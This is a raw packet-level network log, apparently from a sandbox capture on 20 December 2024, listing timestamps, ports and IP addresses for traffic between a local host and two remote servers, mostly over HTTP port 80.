Dec 20, 2024 02:11:32.388593912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.388700008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.388705969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.388771057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.389288902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.389343977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.389374971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.389419079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.389961004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.390014887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.390054941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.390111923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.390686035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.390742064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.390796900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.390863895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.391343117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.391401052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.391501904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.391597986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.392039061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.392219067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.392221928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.392307997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.392751932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.392810106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.392865896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.392935038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.393465042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.393521070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.393595934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.393721104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.394131899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.394182920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.394258976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.394313097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.394824982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.394882917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.394953012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.395024061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.395534992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.395601034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.395651102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.395800114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.396224022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.396308899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.396358967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.396910906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.396965981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.397030115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.397074938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.397620916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.397684097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.397720098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.397763968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.398340940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.398401022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.398416996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.398461103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.399027109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.399154902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.399199963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.399689913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.399750948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.399811029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.399854898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.400439978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.400531054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.400573015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.401088953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.401144028 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.401185989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.401304007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.401798010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.401842117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.401911974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.401952982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.402520895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.402580976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.402616978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.402664900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.403213024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.403270006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.403306007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.403348923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.403938055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.403987885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.404148102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.404203892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.404594898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.404659986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.404695988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.404737949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.405297995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.405345917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.405400038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.405443907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.405988932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.406117916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.406162977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.406733990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.406783104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.406850100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.406892061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.407366037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.407409906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.407448053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.407490015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.408076048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.408129930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.408132076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.408171892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.408776045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.408823013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.408888102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.408931971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.409457922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.409507036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.409570932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.409626007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.410171986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.410228014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.410341024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.410415888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.410851002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.410912037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.410923004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.410967112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.411603928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.411669016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.411680937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.411724091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.412252903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.412316084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.412369967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.412451029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.412951946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.413000107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.413036108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.413079977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.413669109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.413729906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.413774014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.413817883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.414380074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.414423943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.414491892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.414540052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.415045977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.415101051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.415153980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.415193081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.415750980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.415801048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.415852070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.415918112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.416452885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.416554928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.416595936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.417175055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.417224884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.417273045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.417318106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.417834044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.417948961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.417992115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.418487072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.418530941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.574354887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.574430943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.574486017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.574531078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.574594975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.574637890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.574670076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.574712992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.575356960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.575422049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.575468063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.575995922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.576054096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.576133966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.576189995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.576690912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.576740026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.576828003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.576915979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.577394009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.577449083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.577498913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.577543020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.578114986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.578361988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.578408957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.578793049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.578999043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.579051018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.579480886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.579554081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.579593897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.579641104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.580198050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.580252886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.580281973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.580348015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.580903053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.580949068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.581173897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.581223965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.581269979 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:32.581535101 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:32.581577063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.581633091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.581646919 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:32.581665039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.581711054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.581757069 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:32.581794024 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:32.582263947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.582385063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.582433939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.582973003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.583077908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.583122015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.583692074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.583735943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.583798885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.583843946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.584419966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.584467888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.584486961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.584537029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.585062981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.585110903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.585164070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.585793018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.585843086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.585856915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.585899115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.586457014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.586627960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.586688042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.587171078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.587270021 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.587281942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.587322950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.587882996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.587970972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.588033915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.588077068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.588541985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.588604927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.588639975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.588687897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.589241982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.589359045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.589409113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.589967012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.590090036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.590138912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.590646029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.590707064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.590817928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.590867996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.591342926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.591396093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.591453075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.591499090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.592056036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.592084885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.592098951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.592128038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.592746973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.592842102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.592892885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.593432903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.593486071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.593539000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.593575954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.594120979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.594170094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.594248056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.594850063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.594957113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.595007896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.595516920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.595571041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.595607996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.595654011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.596256018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.596301079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.596335888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.596399069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.596920967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.596966982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.597026110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.597070932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.597620010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.597714901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.597763062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.598320007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.598419905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.598474979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.598999977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.599050045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.599180937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.599226952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.599720955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.599776030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.599812031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.600316048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.600406885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.600469112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.600503922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.600555897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.601119041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.601170063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.601203918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.601242065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.601830006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.601881981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.601958036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.602082968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.602505922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.602602959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.602639914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.603210926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.603264093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.603272915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.603302956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.603910923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.604010105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.604054928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.604634047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.604679108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.604851007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.604897022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.605298996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.605345011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.605550051 CET	80	49875	31.41.244.11	192.168.2.5
